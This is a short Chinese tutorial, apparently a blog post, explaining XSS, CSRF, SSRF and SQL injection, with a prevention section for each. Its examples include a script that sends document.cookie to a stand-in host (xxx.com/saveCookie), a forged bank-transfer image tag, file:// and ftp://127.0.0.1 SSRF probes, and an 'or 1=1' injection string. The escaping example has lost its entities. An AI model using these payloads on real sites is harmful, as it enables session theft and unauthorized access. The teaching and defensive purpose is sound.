常见的WEB攻击
XSS
全称:Cross Site Scripting
中文名:跨站脚本
原理:利用网站漏洞和用户对该网站的信任,植入恶意javascript脚本,让用户访问的时候出现不被预期、恶意的操作。
例:
1.用户A在某论坛评论区评论, 并植入恶意代码。
你是个好人。 <script> alert(1); ajaxPost("http://xxx.com/saveCookie", document.cookie); </script>
2.用户A评论后,数据保存到服务端数据库中。
3.其它用户查看该评论后,首先看到内容"你是个好人"。然后浏览器弹出弹窗提示1,接着便把自己的cookie数据提交给了http://xxx.com/saveCookie。
预防:
1.服务端替换恶意内容,比如替换<script>标签等,保存到数据库
2.服务端返回网页内容的时候,转义标签,比如<script> 转义为 <script>
CSRF
全称:Cross-site Request Forgery
中文名:跨站请求伪造
原理:利用 网站对浏览器的信任(基于会话原理),让用户执行非本意操作。
例:
1.银行提供转账服务:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
2.小明登录该银行系统
3.小明没关闭此浏览器,又浏览了另一个网站B,网站B含恶意代码: <img src="http://www.examplebank.com/withdraw?account=小明&amount=1000&for=坏人">
4.小明的钱就转到坏人那里去了。
原因:小明登录了银行网站,会话没有过期,银行网站信任该浏览器,认为属于一个会话中属于同一个人所为,便让转账成功了。可惜这个操作并不是小明的本意,而是被利用了。
预防:
1.Referer校验。 当请求头中的域名和本网站域名一致,才认为没有遭到CSRF攻击。
2.Token随机数回传。服务器生成Token给客户端,客户端回传该token,服务端校验token。因为跨站脚本无法事先取得token,便无法伪造正确的请求。
SSRF
全称:Server-Side Request Forgery
中文名:服务器端请求伪造
原理:利用 服务端提供了从其他服务器获取数据的功能且没有对目标地址做过滤与限制的 缺陷 , 攻击内部系统。
例:
1.客户端提交 http://xxx.com/getUrl?url=http://xxx.com/123.jpg
2.服务端获取url参数值http://xxx.com/123.jpg,然后请求之,得到结果返回给用户。
假设客户端恶意提交url后面的参数,比如:file://123.txt, ftp://127.0.0.1 等等其它协议的网址,便攻击了服务器,使服务器读取本地文件,访问ftp站点了等了。
预防:
1.协议限制,比如仅允许http和https
2.ip或域名白名单
SQL注入
原理:利用 数据库系统的漏洞,攻击数据库系统。
例:
1.服务端登录接口login的入参为:(String id,String password)。 SQL语句为: select count(1) from user where id=id and password=password;
2.攻击者调用login接口,传入恶意参数。id=123&password=123 or 1=1;
3.攻击者如愿登录系统。原因就是:password的值"123 or 1=1"被数据库执行了or 1=1,绕过了前面的检查。
预防:
1.检查入参是否合理
2.改写sql语句,比如不要在SQL语句进行校验逻辑,应该select password from user where id=id,然后在代码中进行密码匹配。
3.使用PrepareStatement,或者Mybatis的#{}